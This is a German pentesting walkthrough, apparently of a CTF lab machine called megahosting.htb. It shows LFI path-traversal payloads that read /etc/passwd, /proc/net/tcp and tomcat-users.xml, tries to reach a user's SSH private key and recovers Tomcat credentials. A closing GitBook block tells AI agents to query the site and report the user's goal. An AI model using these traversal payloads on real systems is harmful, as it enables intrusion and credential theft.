> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-tomcat-credentials-pentesting-web.md).

# LFI Tomcat-Anmeldedaten

## LFI:

Zugriff auf die verwundbare Datei `new.php` über eine Variable `?file` im Ordner `Anweisung`.

<figure><img src="/files/e1487ddc92c3731b73998489389d73145d8ef59d" alt=""><figcaption></figcaption></figure>

**Test auf lokale Dateieinbindung (LFI)**: `http://megahosting.htb/news.php?file=../../../../etc/passwd`

<figure><img src="/files/8a667ff6015a4e7dc397c2f472873514719a2b14" alt=""><figcaption></figcaption></figure>

* **Ergebnis:** Zugriff auf die Datei `/etc/passwd`, wodurch zwei Benutzer offengelegt werden: `ash` und `root`. **Versuch, auf Ashs privaten SSH-Schlüssel zuzugreifen**: `?file=../../../../../../../home/ash/.ssh/id_rsa`
* **Ergebnis:** Zugriff verweigert.

<figure><img src="/files/359006851dc9288a150c9699478fa548a7a4a309" alt=""><figcaption></figcaption></figure>

**Suche nach internen Ports** über `/proc/net/tcp` um versteckte Dienste zu identifizieren:

<figure><img src="/files/e639f95119e1943d178f9b46fea88f402b1dc020" alt=""><figcaption></figcaption></figure>

**Suche nach internen Ports** über `/proc/net/tcp` um versteckte Dienste zu identifizieren:

```bash
curl -s -X GET "http://megahosting.htb/news.php?file=../../../../../../../proc/net/tcp" |
awk 'NR>1 {
    # Nimm das Feld local_address
    split($2, addr_port, ":");
    # Konvertiere die Adresse in das IP-Format
    hex_addr = addr_port[1];
    ip = sprintf("%d.%d.%d.%d",
                 strtonum("0x" substr(hex_addr, 7, 2)),
                 strtonum("0x" substr(hex_addr, 5, 2)),
                 strtonum("0x" substr(hex_addr, 3, 2)),
                 strtonum("0x" substr(hex_addr, 1, 2)));
    # Konvertiere den Port in Dezimal
    port = strtonum("0x" addr_port[2]);
    # Gib das Ergebnis im IP:Port-Format aus
    printf "%s:%d/n", ip, port;
}'

```

**Ergebnis:** Entdeckung des internen Ports `34650`

<figure><img src="/files/ad52e5d9af5aaaf0808c7cf473b0dd0a137fa191" alt="" width="563"><figcaption></figcaption></figure>

### **Ausnutzung des Virtual Host Manager von Tomcat (Port 8080)**

**Zugriff auf Tomcat** über Port 8080 und Suche nach Authentifizierungsinformationen. Standardmäßig werden diese in `/etc/tomcat9/tomcat-users.xml` oder `usr/share/tomcat9/etc/tomcat-users.xml`

<figure><img src="/files/2077db59c5057495c4b17d99cafe8ac7001f632f" alt=""><figcaption></figcaption></figure>

**Anmeldedaten** gefunden: `Benutzername = tomcat` `Passwort = $3cureP4s5w0rd123!`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-tomcat-credentials-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
